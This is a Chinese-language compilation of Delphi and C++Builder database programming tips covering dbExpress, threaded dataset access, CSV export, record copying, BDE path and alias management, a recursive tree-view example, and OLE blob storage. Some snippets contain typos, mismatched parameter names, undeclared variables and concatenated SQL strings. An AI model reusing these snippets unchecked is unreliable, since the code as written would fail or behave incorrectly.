这里又给出了一个使用TClientDataSet连接dbExpress数据源的例子（dbsqlclientdataset2\），就和连接其它数据源一样，这和TSQLClientDataSet并没有联系。由于可以达到类似的效果，我们给出实例。

遗憾的是，在Borland文档中，不推荐使用TSQLClientDataSet作主要/明细结构，因为，TSQLClientDataSet无法在这样的情况下优化查询。

四、多层应用MIDAS

为什么要用dbExpress？dbExpress的设计目的是什么？ 在传统的Client/Server程序中，为了提高这点性能，牺牲那么多程序开发中的灵活性值得吗？

我个人认为，dbExpress是为了多层应用而设计的。

在应用程序服务器上，使用单向数据集，可以把访问数据库的效率提到最高，而在客户端的开发又不受任何影响。这真实鱼与熊掌兼得之、

用dbExpress开发Midas应用程序和以前几乎一样，我们给出了实例（Midas\）。

五、调试dbExpress（Debugging）

根据Delphi6帮助说明，你可以使用两种方法跟踪dbExpress的行为、第一种方法是使用TSQLConnection控件的SetTraceCallbackEvent方法。这是一个CallBack方法，以后每当SQLConnectin向数据库服务器发送命令，就会触发你的CallBack事件。由于这个方法比较复杂（其实也不复杂，可如果你不熟悉Windows的Callback概念，那它真的复杂了），我们不对其进行详细介绍。为了方便用户，Delphi提供了第二种方法——TSQLMonitor控件，它封装了SetTraceCallbackEvent方法。设定SQLMonitor的SQLConnection属性为需要调试的TSQLConnection控件，设置其Active为True，以后，每当通过SQLConnection向数据库服务器发送命令，其TraceList属性（TStringList）会被更新，且会触发LogTrace事件；如果你希望自动保存这些信息，可以设置TSQLMonitor的Filename属性及AutoSave属性。根据一段Delphi帮助中的代码就很说明问题：

procedure TForm1.SQLMonitor1LogTrace(Sender: TObject; CBInfo: Pointer);

var

LogFileName: string;

begin

with Sender as TSQLMonitor do

begin

if TraceCount = 10 then

begin

LogFileName := 'c:\log' + IntToStr(Tag) + '.txt';

Tag := Tag + 1; {ensure next log file has a different name }

SaveToFile(LogFileName);

TraceList.Clear; { clear list }

end;

end;

end;


复制记录

Procedure AppendCurrent(Dataset:Tdataset);
Var
aField : Variant ;
i : Integer ;
Begin
//Create a variant Array
aField := VarArrayCreate(
[0,DataSet.Fieldcount-1],
VarVariant);

// read values into the array
For i := 0 to (DataSet.Fieldcount-1) Do Begin
aField[i] := DataSet.fields[i].Value ;
End;

DataSet.Append ;

  // Put array values into new the record
For i := 0 to
(DataSet.Fieldcount-1) Do Begin
DataSet.fields[i].Value := aField[i] ;
End;
End;


在线程中打开表或查询

 unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, DBTables, Db;

const
WM_OPENDATASET = WM_USER + 1;
WM_EXECUTESQL = WM_USER + 2;

type
TThreadDataSet = class(TThread)
private
procedure WMOpenDataSet(Msg: TMsg);
procedure WMExecSQL(Msg: TMsg);
protected
procedure Execute; override;
public
procedure Open(DataSet: TDataSet);
procedure ExecSQL(DataSet: TDataSet);
end;

TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
FThread : TThreadDataSet;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TThreadDataSet.ExecSQL(DataSet: TDataSet);
begin
PostThreadMessage(ThreadID, WM_EXECUTESQL, Integer(DataSet), 0);
end;

procedure TThreadDataSet.Execute;
var
Msg : TMsg;

begin
FreeOnTerminate := True;
PeekMessage(Msg, 0, WM_USER, WM_USER, PM_NOREMOVE);

while not Terminated do begin
if GetMessage(Msg, 0, 0, 0) then
case Msg.Message of
WM_OPENDATASET: WMOpenDataSet(Msg);
WM_EXECUTESQL: WMExecSQL(Msg);
end;
end;
end;

procedure TThreadDataSet.Open(DataSet: TDataSet);
begin
PostThreadMessage(ThreadID, WM_OPENDATASET, Integer(DataSet), 0);
end;

procedure TThreadDataSet.WMExecSQL(Msg: TMsg);
var
Qry : TQuery;

begin
try
Qry := TQuery(Msg.wParam);
try
Qry.Open;
except
Qry.ExecSQL;
end;
except
On E: Exception do
ShowMessage(E.Message);
end;
end;

procedure TThreadDataSet.WMOpenDataSet(Msg: TMsg);
var
Ds : TDataSet;

begin
try
Ds := TDataSet(Msg.wParam);
Ds.Open;
except
On E: Exception do
ShowMessage(E.Message);
end;
end;

// --------------------------------------- //

procedure TForm1.FormCreate(Sender: TObject);
begin
FThread := TThreadDataSet.Create(False);
FThread.Open(Table1); // Opening a dataset (table or query)
FThread.ExecSQL(Query1); // Executing a SQL
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
FThread.Terminate;
end;

end.


输出TDataSet 中的内容至逗号分割的ASCII文件

 过程代码如下：

unit Unit1;

interface

uses db, classes, dialogs,sysutils;

{过程 DataSetToASCII - 从TDataSet 类型的变量 ADataSet 中输出记录
到一个指定的 ASCII 文本文件. 各字段被名为 Delimiter 的分隔字符分隔。
只有 Tag 属性为 0 （缺省值）的字段被输出.各条记录间用换行符分开。
如果参数 QuoteStrings 为 True 则字段类型为
ftString,ftMemo,ftFmtMemo,ftFixedChar 和 ftWideString 的字段将被引号引起再输出}

procedure DataSetToASCII(const ADataSet: TDataSet; const ASCIIFile: TFileName; const Delimiter: Char; const QuoteStrings: Boolean);

implementation

procedure DataSetToASCII(const ADataSet: TDataSet; const ASCIIFile: TFileName; const Delimiter: Char; const QuoteStrings: Boolean);
var tmpList: TStringList;
i,LastIndex: LongInt;
AsciiRecord: String;
begin
tmpList:= TStringList.Create;

try

with ADataSet do begin
LastIndex:= Fields.Count - 1;

First;

while not EOF do begin
AsciiRecord:= '';

for i := 0 to LastIndex do
if Fields.Fields[i].Tag = 0 then begin

if QuoteStrings and
(Fields.Fields[i].DataType in [ftString,ftMemo,ftFmtMemo,ftFixedChar,ftWideString]) then
AsciiRecord:= AsciiRecord + QuotedStr(Fields.Fields[i].AsString)
else
AsciiRecord:= AsciiRecord + Fields.Fields[i].AsString;

if i < LastIndex then
AsciiRecord:= AsciiRecord + Delimiter;

end;

tmpList.Append(AsciiRecord);

Next
end
end;

try
tmpList.SaveToFile(ASCIIFile)
except
ShowMessage('Could not save table to specified file: ' + ASCIIFile)
end;

finally
tmpList.Free;
end;
end;

end.


在DataSet 间快速拷贝一条记录

 通常，你完成此项任务时使用 TBatchMove 构件。但 TBatchMove 也有不合适的情况：
- 你并不希望拷贝所有的记录，也不想使用过滤器。
- 你希望用到目的 DataSet 的有效事件（如 BeforPost，OnValidate，等）。
- 或者更坏的情况，两 DataSet 的结构并不相同。
使用下面的简单过程，上面的问题都可以被解决，所有字段中的数据将被拷贝到另外一个 Dataset 中的同名字段中。但这里面也存在一些限制：
- 不能拷贝查找和计算字段
- 当存在相同字段名但数据类型不同时，你需要先使用 Assign 判断。
- 当然，目的字段不能是只读的。

procedure CopyRecord(Source, Destination: TDataSet);
var Ind:longint;
SField, DField: TField;
begin
for Ind:=0 to Source.FieldCount - 1 do
begin
SField := Source.Fields[ Ind ];
DField := Destination.FindField( SField.FieldName );
if (DField <> nil) and (DField.FieldKind = fkData) and
not DField.ReadOnly then
if (SField.DataType = ftString) or
(SField.DataType <> DField.DataType) then
DField.AsString := SField.AsString
else
DField.Assign( SField )
end;
end;

旧方法：

DEST.Open;
ORIGIN.Open;
while not ORIGIN.Eof do
begin
if ORIGINTYPE.AsString = 'T' then
with ORIGIN do
begin
DEST.Append;
DEST.FieldByName('TYPE').AsString := ORIGINTYPE.AsString;
DEST.FieldByName('FIRSTNAME').AsString := ORIGINFIRSTNAME.AsString;
DEST.FieldByName('LASTNAME').AsString := ORIGINLASTNAME.AsString;
DEST.FieldByName('CPF').AsString := ORIGINCPF.AsString;
DEST.FieldByName('PARTY').AsString := ORIGINPARTY.AsString;
DEST.Post;
end;
ORIGIN.Next;
end;

使用该过程的调用示范：

DEST.Open;
ORIGIN.Open;
while not ORIGIN.Eof do begin
if ORIGINTYPE.AsString = 'T' then begin
DEST.Append;
CopyRecord( ORIGIN, DEST );
DEST.Post;
end;
ORIGIN.Next;
end;


使用Bookmarks

摘　要：如何使用Bookmarks记录表中的先前状态。
关键字：TTable, TQuery, TDataSet
类　别：数据库
使用GetBookmark和GotoBookmark 来保存表中的某个位置并返回到这个位置。

var
SavePlace: TBookmark;
PrevValue: Variant;
begin
with Table1 do
begin
{取得书签，以后就能直接到相同记录}
SavePlace := GetBookmark;

{改变光标位置}
GotoBookmark(SavePlace);
FreeBookmark(SavePlace);
end;
end;
投稿人：grhunter　投稿日期：2001-5-31 15:15:00


删除数据表

一、

With Table1 do

Begin

Active := False;

DatabaseName := 'dbname';

TableName := 'TableName';

EmptyTable;

End;

二、

With Table1 do

Begin

Active := False;

DatabaseName := 'dbname';

TableName := 'TableName';

DeleteTable;

end;


Datamodule的应用方式

Barry McClure - barry_mcclure@grebarsys.com

Tip #1

不应该把全部的Table和Query都放到一个DataModule中去，应该是那个窗体用到的数据源单独放到一个DataModual中去，每次需要时动态创建和释放，这样可以节省资源。另外不把DataSource放到Datamodule而是放到窗体上也是个不错的办法。这样，连接数据控件时，不用老是来回切换单元，一目了然。

Tip #2

另外Datamodule不仅可以放数据源，也可以放其他非可视化控件，特别是ImageList，这样可以便于集中管理图标，项目中每个窗体都可以引用Datamodule中的ImageList，只要改动一次就对全部引用的窗体生效。


使用TQuery 的误区

q：手册中关于怎样使用tquery 的误导

a：用delphi开发数据库时经常会用到tquery， 手册中有很多关于它的例子， 大致结构如下：

query1.close;

query1.parambyname('id').asstring := '001';

query1.open;

string := query1.fieldbyname('id').asstring;

很多用户根据这段例子开发时会遇到速度慢， 资源耗用多， 甚至引发资源不足的异常。 这是为什么呢， 其实是手册的例子有些片面， 误导了大家。

delphi有一个重要的特性是db aware， 把dbgrid与query连接在一起， query的结果集就会自动的显示在dbgrid中。 为了保证dbgrid总显示查询结果， 需要query总保持active。 当修改query的查询条件时， 先关闭query， 修改完查询条件以后再打开它。 这就是上面代码的含义。

问题是，当query不和db aware组件连接时， 比如在计算字段的事件中取其它表的内容， 应该怎样写代码。 这时候不需要让query保持active， 相反， 为了减少不必要的浪费， 应该是保持deactive。 所以代码应该如下：

query1.parambyname('id').asstring := '001';

query1.open;

string := query1.fieldbyname('id').asstring;

query1.close;

您在使用query的时候要注意根据实际情况选择适当的方法， 不要被手册误导。


快速表更新

By Barry McClure - barry_mcclure@grebarsys.com

大家通常都知道大量更新表数据时，应该通过Table.DisableControls断开数据明了控件的显示。但如果想更新的更快，我们还应该设定DataSource1.DataSet := nil;这可以加速表更新大约350%当添加数据到ADT字段时：

with adsTable1 do

try

DisableControls;

DataSource1.Dataset := nil;

// <<这里更新>>

finally

DataSource1.Dataset := adsTable1;

EnableControls;

end;


数据文件路径的管理

     Delphi中的Table控件（Component）和Query控件都有一个DatabaseName属性。可以用DatabaseName属性来指定该控件所引用的数据表的路径。有两种方法可以为属性DatabaseName设置路径：第一种方法是直接输入数据表所在路径，另一种方法是使用数据库别名（Alias）。在Delphi中，数据库别名是在数据库引擎（BDE）中建立的，一个别名对应一个文件路径。可以这样为别名下定义：别名是对文件路径的映射，是文件路径的简称。因此，在属性DatabaseName中使用数据库别名和使用文件路径实质都是一样的，它们都作为查找数据表的根（Root）路径。但是，在数据库应用程序的设计中，如果涉及到的Table控件和Query控件比较多的话，那么使用别名来引用文件路径就十分高效、方便，并且不容易出差错。原因是显而易见的：一方面，别名可以在列表中直接选取而不必像文件路径那样从键盘上输入；另一方面，别名可以设置得很简短，即使从键盘录入也比较快捷。因此，笔者建议要多使用数据库别名而少使用文件路径。

    另外，在Table控件的属性TableName和Query控件的SQL语句中，都可以包含数据表的路径信息。因为Query控件和Table控件的情况十分相似，所以下面只对Table控件进行说明。这种路径信息既可以是一个完整的路径，也可以是一个完整路径的后面部分。比如对Table控件的属性TableName赋值时，可以把C:\Delphi\Demos\Data\CustomerDB赋给它，也可以把Data\CustomerDB赋给它。

    在实际应用中，我们可以把Table控件的属性DatabaseName和属性TableName结合起来使用。把属性DatabaseName中的路径作为根路径，把属性TableName中的不完整路径（如果有的话）作为子路径。把这两个路径结合起来就是访问到数据表的一个完整的路径。比如，假设在路径C:\Delphi\Demos\Data下存在数据表CustomerDB，把Table控件的属性DatabaseName指定为C:\Delphi\Demos\Data，然后把属性TableName指定为CustomerDB，就可以访问数据表CustomerDB了。如果属性DatabaseName指定为C:\Delphi\Demos，要想访问数据表CustomerDB，只要把属性TableName指定为data\CustomerDB就行了。有时候这二者并不同时起作用。例如，如果属性TableName中包括了完整的路径，那么属性DatabaseName中的路径就不起任何作用了。又如，如果属性DatabaseName中没有指定任何路径，而属性TableName中的路径又是不完整的，如Data\CustomerDB，那么应用程序运行时的当前路径就作为根路径。为了便于程序移植，笔者有两点建议：
    1、通常，只需要在属性DatabaseName中指定数据表的路径，而在属性TableName中不必包括路径信息。
    2、一般情况下，不要在属性TableName中指定完整的路径。

    下面就来介绍一下如何提高数据库应用程序的移植性。
    数据库应用程序的移植是一个重要的问题。因为在数据库应用程序中要访问数据库或数据表，就要涉及到数据文件的路径。一般来说，数据库应用程序开发完成后要移植到其它机器上使用，因此数据库应用程序运行时的数据文件的路径很可能和开发时的不同。所以必须对数据文件的路径进行有效的管理，以便于系统的移植。下面介绍三种管理数据文件路径的方法。
    1、把数据文件建立在应用程序所在目录的子目录下。具体过程为：
    （1）为了设计起来方便，在设计时可以使用数据库别名，且该数据库别名指向应用程序所在路径。把子路径名加上数据表名字之后赋给Table控件的属性TableName。
    （2）在发行应用程序前，把所有的Table控件或Query控件的属性Active都置为False，删除属性DatabaseName中的所有字符（即置空）。
    在缺省情况下，应用程序运行时的当前目录是应用程序所在的目录。如果在应用程序中没有调用ChDir等过程改变当前目录的话，那么就不必执行第三步，否则进行第三步的处理。
    （3）在使用到Table控件和/或Query控件的窗体的创建（OnCreate）事件中，把应用程序所在路径赋给该窗体中的每一个Table控件和Query控件。具体的形式如下所示：
    Table对象（或Query对象）DatabaseName:=ExtractFilePath(ApplicationExeName);

    2、利用配置文件存放数据库路径
    此方法是在应用系统安装或第一次运行时把数据库路径信息写入配置文件，以后运行时把路径信息从配置文件中读出。配置文件的读写利用类TIniFile（Delphi1.0和Delphi3.0） 、类TRegIniFile（Delphi 3.0/4.0）和类TRegistry（Delphi3.0/4.0）所提供的方法来实现。各个方法具体的用法请查阅Delphi联机帮助。本方法的基本思路为：
    (1）为了设计方便，在设计时可以使用数据库别名。
    （2）同1的步骤（2），但必须进行第三步的处理。
    （3）同1的步骤（3）类似。即，在窗体的创建事件中把数据库路径赋给该窗体中的每一个Table控件和Query控件，用形式化语言描述如下：
    Table对象（或Query对象）DatabaseName:=配置文件记录中的数据库路径。

    3、利用数据库别名存放数据库路径
    在设计时使用数据库别名。在应用系统安装或第一次运行时利用系统对象Session在BDE中建立与设计时相同的别名，使别名指向相应的数据库路径。下面的代码说明了如何建立名字为“FDB”的别名，它的数据库路径为d:\test，数据库类型为Paradox。
    Session.ConfigMode:=cmAll;
    Session.AddStandardAlias(′FDB′,′d:\test′,′PARADOX′);
    Session.SaveConfigFile; {保存新建立的别名}

    注：在Delphi1.0中Session对象不具有第三种方法中所用到的属性和方法。以上三行代码在Delphi3.0/4.0下调试通过。

    从上面的讨论可以看出，方法三实现起来最简单，其次是方法一，最后是方法二。笔者认为，如果应用系统是用Delphi3.0/4.0开发的，那么应尽量使用方法三。


Delphi环境下灵活的数据库树表实现

林琪

我们目前正在开发的军队武器装备科技档案信息管理网络系统是面对全军的，管理全军武器装备科技档案的信息管理网络系统，由于全军在武器装备科技档案的管理模式上千变万化，对管理系统的需求也不相同，特别是，从调研的结果看：各单位的项目分类（信息分类）的级数是不定的，因此实现时一方面要考虑到通用性，另一方面也要保证用户使用的灵活性。

1 数据结构设计

在设计时可以采用两种数据存储方式（数据结构）。

1）信息分类表采用一个分类作为表的一条记录的方式进行存储，并由父类编号建立各类之间的关系，即：

分类号 | 类的含义 | 父类的编号
0001 | 计算机 | ..
0002 | 无线电 | ...
... | ... | ...

2）这种分类表结构的建立不用动态生成表结构，但使用时相对麻烦。我们采用以下的表结构建立信息分类关系。这样的结构可以实现任意级的树型结构，如M层的一个结构：其中M是本单位的分类最大深度。类号要唯一识别每一个类。最上一级的分类号为全宗号+本级的分类代号，其他任意级的类其类号都为上一级的分类号+本级的分类代号。用户根据本单位档案的信息分类情况输入类信息，由系统动态创建表。

信息分类号 | 全宗号 | 类1含义 | 类2含义 | 类M含义 | 分类深度
0001 | Zzb20 | 电子 | 计算机 |  | 2
0002 | Zzb20 | 电子 | 无线电 |  | 2
0003 | Zzb20 | 通信 | 卫星 |  |
0004 | Zzb20 | 通信 | 遥感 |  |
C4 | C6 | C20 | C20 | C20 | C1
XXFLH | QZH | L1 | L2 | LM | FLSD

在下面的例子中由于安全要求，对数据库表的结构作了简化，同时只使用了一些模拟数据以作说明。

2 树表外形设计

由于Delphi提供的树表控件比较简单，外观不很美观，因此需要作一些“修饰”工作。为了强调重点，忽略了数据库操作如查询等，在例程中只使用了有关树表控件。

1）增加色彩

一般的树表控件没有底图，没有色彩，因此首先要解决色彩问题。解决的方法就是在树表控伯的ONDraw事件响应中增加底图显示代码。

procedure TForm1.Tree1CustomDraw(Sender: TCustomTreeView; const ARect: TRect; var DefaultDraw: Boolean);

begin

with tree1.Canvas do //取树表控件的显示底板

begin

brush.color:=RGB(200,200,255); //设置画笔颜色

FillRect(ARect); //填充底板

end;

end;

这里仅为树表控件设置的底板颜色，实际上还可以设置底图，但由于底图的色彩不易控制，在调整树表结点时，容易出现颜色混乱的情况，而且只设置其颜色使树表控件的显示更加简洁。但只在ONDraw事件中设置颜色是不够的，还需要在其子项（结点）的显示事件中增加以下代码：

procedure TForm1.Tree1CustomDrawItem(Sender: TCustomTreeView;

Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean);

var

Noderect:TRect;

begin

with tree1.Canvas do

begin

case Node.Level of //根据不同的层次，设置不同的结点字体颜色

0: font.Color:=clBlue;

…

5: font.Color:=clGreen;

end;

if node=tree1.Selected then //为突出选中的结点，将选中结点字体颜色设置为红色

font.Color:=clRed;

NodeRect:=Node.DisplayRect(false); //设置结点的显示方式

brush.Color:=RGB(200,200,255);

fillrect(NodeRect); //将结点的背景色与控件底板色设置为一致

end;

end;

2)设置图标

图像列表控件与树表控件可以算是“老搭档”，即为了显示不同层次的结点就需要为树表控件设置一个对应的图像列表，其设置方法比较简单，可以参见有关的Delphi程序设计手册。由于树结构层次不定，因此不能象常规的方法那样建立了树表与图像列表之间的关系即大功告成，这里还需要做的是建立树表结点与图像列表的关系，可以通过以下两个函数实现。

procedure TForm1.Tree1GetImageIndex(Sender: TObject; Node: TTreeNode);

begin

node.ImageIndex:=node.Level; //由结点的层次决定其对应图标在图像列表中的位置

end;

procedure TForm1.Tree1GetSelectedIndex(Sender: TObject; Node: TTreeNode);

begin

node.SelectedIndex:=node.ImageIndex;

end;

3） 窗体激活事件响应

响应窗体激活事件时，需要作一些设置。由于在原系统中，此窗体涉及的功能和控件较多，许多功能的完成都需要激活另外的窗体。因此需要避免对数据库信息的重复设置。可以如下实现：

procedure TForm1.FormActivate(Sender: TObject);

var

i:integer;

begin

if first_in=false then //区别是否首次激活，从而决定是否需要设置初始状态

begin

hint.Caption := ' 提示： 正在准备，请稍候...';

application.ProcessMessages ;

tree1.Items.Clear; //设置第一个树表状态和颜色

tree1.Color:=RGB(200,200,255);

tree2.Items.Clear; //设置第一个树表状态和颜色

tree2.Color:=RGB(100,200,255);

qznode:=nil; //为了显示动态结构的分类层次，将各层树结点初始化为空

for i:=0 to 5 do

last_node[i]:=nil;

stackdepth:=0; //设置栈初始深度为0

show_tree1(0); //调用show_tree1显示分类内容，参数0表示从第一层开始显示

hint.Caption:=' 提示： 数据成功调入';

Application.ProcessMessages;

end;

first_in:=true;

end;

4） 树表内容显示

由于树表结点层次的不确定，我们采用了递归显示的方法完成树表内容的显示。这里设置了4个变量，其含义为；

变量 | 类型 | 含义 | 可选范围
cur_cds | TQuery | 当前的查询集 | dbmd.qz，dbmd.fl1，dbmd.fl2，dbmd.fl3，dbmd.fl4，dbmd.fl5
cur_str | string | 当前的查询语句 |
num_str | String | 当前的层次数查询语句 |
cur_level | Integer | 当前层次 |
cur_node | TTreeNode | 当前结点 |

这里利用栈确定父结点与子结点的关系，若某结点对应的分类深度比当前深度要大，就需要将此结点入栈，并惟此结点为父结点，以插入孩子结点方式递归地显示它的下一层结点，若当前层的结点都已显示完毕，就需要退栈，回到上一层次再作计算。主要的实现过程如下：

procedure TForm1.show_tree1(level:integer);

… //变量声明

begin

case level of //根据输入参数，确定当前数据集、结点和查询语句

0:

begin

cur_cds:=dbmd.qz;

cur_node:=qznode;

cur_str:='select distinct QZH from XXFLB ';

end;

1:

begin

cur_cds:=dbmd.fl1;

cur_str:='select distinct L1 from XXFLB ';

cur_str:=cur_str +' where QZH= '+''''+dbmd.qz.Fields.Fields[0].value+'''';

end;

…

end;

cur_cds.close; //实现查询

cur_cds.SQL.clear;

cur_cds.SQL.Add(cur_str);

cur_cds.open;

for i:=1 to cur_cds.RecordCount do //遍历当前层的所有结点

begin

if level=0 then //若为第一层则调用add方法创建结点

cur_node := tree1.Items.Add(cur_node,cur_cds.Fields.Fields[0].value)

else //否则，在上一结点基础上调用AddChild方法创建其子结点

cur_node:=tree1.Items.AddChild(last_node[stackdepth-1],cur_cds.Fields.Fields[0].value);

if level<5 then //根据当前结点层次及结点内容确定当前类的分类深度

begin

case level of

0:

begin

num_str:='select FLSD from XXFLB ';

num_str:=num_str +' where QZH= '+''''+dbmd.qz.Fields.Fields[0].value+'''';

end;

1:

…

end;

dbmd.sd.close; //执行深度查询

dbmd.sd.SQL.Clear;

dbmd.sd.sql.add(num_str);

dbmd.sd.Open;

val(dbmd.sd.Fields.Fields[0].value,cur_level,code); //取其深度

if cur_level>level then //若当前层次未达到其分类深度

begin

last_node[stackdepth]:=cur_node; //当前结点入栈

stackdepth:=stackdepth+1;

show_tree1(level+1); //递归显示下一层次结点

end;

end;

cur_cds.Next; //取当前结果集中的下一条记录

if i > cur_cds.RecordCount -1 then //若当前层中全部记录显示完毕则退栈

stackdepth:=stackdepth-1;

end;

end;

另外第二个树表的内容显示的基本方法与此类似，所不同的是第二个树表的显示函数所带的参数为串型参数，该参数有两种可能，即为‘’或由点击第一个树表的事件产生串参数。若参数为空串，则要在第二个树表中显示所有项目，否则要根据参数创建过滤条件选择显示项目。具体方法可以参见源代码。

5） 树表调整

树表的调整即是对树表当前结点的条件，可以由两种事件产生，即树结点的扩展和点击树结点。由于一个全宗号下的分类种类很多，层次也可能很大，因此用户希望打开一个类时，与其无关的类就关闭，这样就可以保证仅有目前所选择的结点，而不需要用户利用滚动条在打开的结点中寻找。其实现要充分利用树结点的方法和属性。特别强调的是在对点击树表结点的响应事件中用到了结点的扩展方法，尽管对结点扩展事件的响应函数所实现的功能与之类似，但一定不能加入类似的结点扩展方法，如tree1.Selected.Expand(false)等，因为在扩展事件中调用扩展方法会导致事件循环，甚至死机。

对第二个树表的调整与第一个树表的处理方式类似，但功能不同，这里不多介绍。

procedure TForm1.Tree1Click(Sender: TObject);

… //变量声明

begin

if Tree1.Selected=nil then //若未选择结点，重置

begin

tree2.Items.Clear;

tree2.Refresh;

exit;

end

else

begin

tree2.Items.Clear;

tree2.Refresh;

str:=Tree1.Selected.Text; //取当前结点内容

fatherNode:=Tree1.Selected.Parent; //取当前结点父结点

tempnode:=Tree1.Selected; //设置当前结点

while fatherNode<>nil do //由当前层开始关闭所有非当前结点，

//同时返回由其第一层祖先到当前结点所组成的串，作为第二个树表显示的参数。

begin

str:=fatherNode.Text+','+str; //取父结点内容与当前结点内容联接

usenode:=fatherNode.getFirstChild; //遍历父结点的所有儿子结点

while usenode<>nil do

begin

if usenode<>tempnode then //只要不是当前结点，则取消扩展状态

usenode.Collapse(true);

usenode:=fatherNode.GetNextChild(usenode);

end;

tempnode:=fathernode; //当前层结点处理完毕后，调整父结点为当前结点

fathernode:=tempnode.Parent; //再取当前结点的父结点

end;

sibNode:=tree1.Items[0]; // 第一层结点的处理与其它层稍有差异

while sibNode<>nil do

begin

if sibNode<>tempNode then

sibNode.Collapse(true);

sibNode:=sibNode.getNextSibling;

end;

tree1.Selected.Collapse(true); //强制打开当前结点

tree1.Selected.Expand(false);

if tree1.Selected.HasChildren=false then //若当前结点无孩子，

begin

show_tree2(str); //说明已构成一个完整的类，调用show_tree2函数实现第二个树表//的内容显示，参数str为完整的类名

hint.Caption:=' 提示： 数据成功调入';

Application.ProcessMessages;

end;

end;

参考文献

1 徐新华，IDE和Object Pascal 语言，人民邮电出版社，1998.12

2 郑城荣，曾凡奎等，Delphi 运行时间库RTL和组件库VCL技术参考，人民邮电出版社，1999.1

1 徐新华，GUI编程技术，人民邮电出版社，1998.12


显示Ole字段内容

用olecontainer显示的话
procedure savetodb;//保存到数据库
var
st:TStringStream;
begin
st := tstringstream.create('');
olecontainer1.createfromfile('c:\xxx.cdx',true);//也可以是..('xx.cdx',false);
olecontainer1.savetostream(st);
query1.sql.text := 'insert into TableX
Doc_field values :Doc';
query1.parambyname('cdx').asblob :=
st.datastring;
query1.execsql;
st.free;
end;

procedure loadfromdb;//从数据库载入
var
st:TStringStream;
blobsteam:Tblobstream;
begin
st:= tstringstream.create('');
blobStream := TBlobStream.Create(Table1cdx, bmRead);
if
BlobStream.Size = 0 then begin
BlobStream.Free;
Exit;
end;
st.CopyFrom(BlobStream,
BlobStream.Size);
st.position:=0;//可能直接
olecontainer1.loadfromstream(st);
//可能直接blobstream.position:=0,olecontainer1.loadfromstream(blobstream);也行
st.free;
BlobStream.Free;
end;

//save olecontainer to db
procedure TForm1.Button1Click(Sender:
TObject);
var
olestream:TStringstream;
begin
if
olecontainer1.canpaste then
olecontainer1.paste
else
exit;
table1.Append;
olestream:=Tstringstream.Create('');
olecontainer1.savetostream(olestream);
olestream.position:=0;
Table1ole.AsString:=olestream.DataString;
Table1.Post;
blobstream.free;
oleStream.Free;
end;

//load db to olecontainer
procedure TForm1.Button2Click(Sender:
TObject);
var
olestream:TStringstream;
blobstream:TBlobStream;
begin
table1.Edit;
OleContainer1.DestroyObject;
olestream:=Tstringstream.Create('');
blobstream:=TBlobStream.Create(Table1ole,bmReadWrite);
blobstream.Position:=0;
olestream.CopyFrom(blobstream,blobstream.Size);
olestream.Position:=0;
OleContainer1.loadfromstream(olestream);
oleStream.Free;
end;


运行中动态生成数据库

 procedure tform1.create_tbl;
var tbl:ttable;
begin
tbl:=ttable.create(self); // 如没有声明中的"tform1."，Delphi不认这个self
with tbl do
begin
datebasename:=;dbdemos';
tablename:='my_tbl';
with fielddefs do
begin
clear;
add('No',ftInteger,0,false);
add('Name',ftString,0,false);
...
end;
with indexdefs do
begin
clear;
add('primary','no',[ixPrimary,ixUnique]);
...
end;
CreateTable;
end;
end;


InsertRecord和AppendRecord的一条注意事项

 在用InsertRecord插入一条记录时，发现有两个字段颠倒了。又核对了一
遍数据库(table)中的字段顺序，没有发现不一致的地方。想起用了Field
Editor，会不会是……打开Field Editor，果然，为了显示的需要，我把
其中两个字段对调了位置。原来，InsertRecord中的字段顺序应该与Field
Editor中的顺序一致才行。


打开带密码的数据库

 编辑数据库软件时，为了数据安全，往往需要在数据库里加入密码，打开时就需要密码才能浏览，但是当我们在程序里调用时也需要不时的输入密码，这就照成了不遍，所以利用以下办法，输入密码后才打开数据库：
Session.AddPassword('abc');{发送的密码}
Table1.Open;


数据库安装

一. 通过BDE访问Access97

  1. 打开BDE Administator, Configuration -> Drivers -> Native
->
MSACCESS ,将DLL32改为IDDA3532.DLL.
2.
新建一工程,在Form1上放置TTable,TDataSource,TDatabase,TDbGrid控件
各一个.
3.
在Form1的OnCreate事件中放入如下代码(C++Builder程序,Delphi大同小异),
void __fastcall TForm1::FormCreate(TObject *Sender)
{
AnsiString DATABASE_NAME = "DATABASE
NAME="+GetCurrentDir()+"\\DATA\\DELPHIBBS.MDB";
DataSource1->DataSet = Table1;
DBGrid1->DataSource = DataSource1;
Database1->DriverName = "MSACCESS";
Database1->Params->Clear();
Database1->Params->Add(DATABASE_NAME);
Database1->Params->Add("USER
NAME=");
Database1->Params->Add("OPEN
MODE=READ/WRITE");
Database1->Params->Add("LANGDRIVER=");
Database1->Params->Add("SYSTEM
DATABASE=");
Database1->Params->Add("PASSWORD=");
Database1->LoginPrompt = false;
Database1->DatabaseName = "Fuweng";
Table1->DatabaseName = "Fuweng";
Table1->TableName = "letters";
Table1->Active = true;
}
/*
多方便!多省事!
有了上面的代码,程序一启动,letters表就被打开了,几乎是"全自动"!
当然,朋友们还可根据实际情况做进一步的完善,比如:加入异常保护...

访问Access97数据库的方法有很多,但我还是比较喜欢通过代码来实现,
因为这样最灵活,且排除了在程序外边手工设置别名带来的诸多麻烦,同
时也为将来制作安装程序极大得减轻了负担.
*/

二. 为上面的程序制作安装程序

首先,我想阐明自己的一些观点:
[1]. 安装程序要做得尽可能精练,最小化.多余的文件一个都不要.
[2]. 安装时要尽量不伤到用户系统中已有的软件,设置.
[3]. 反安装时尽量要卸的干净,不能伤及别的软件.
上面我多次说要"尽量","尽可能",就是说并不绝对.试想你能让IE4和IE5共存于
同一台机器中吗?不可能!!同样,Delphi3,4,5也很难共存...
在硬盘容量巨增的今天,有时浪费一点没什么,换来的是系统的清洁,不混乱...
因此我强烈建议:能放在当前目录下的文件就不放在别处("当前目录"指可执行文
件所在的目录;"别处"指C:\Windows,C:\Windows\system....)!

具体安装说明: (以C++Builder5为例,Delphi5应该是一模一样,其它版本有少许不
同,但绝大多数一样)

1. C++Builder5绝对必需的文件
BORLNDMM.DLL CC3250MT.DLL VCL50.BPL

2. BDE绝对必需的文件 (对于中文软件来说)
IDAPI32.DLL BLW32.DLL IDR20009.DLL FAREAST.BTL CHARSET.CVB
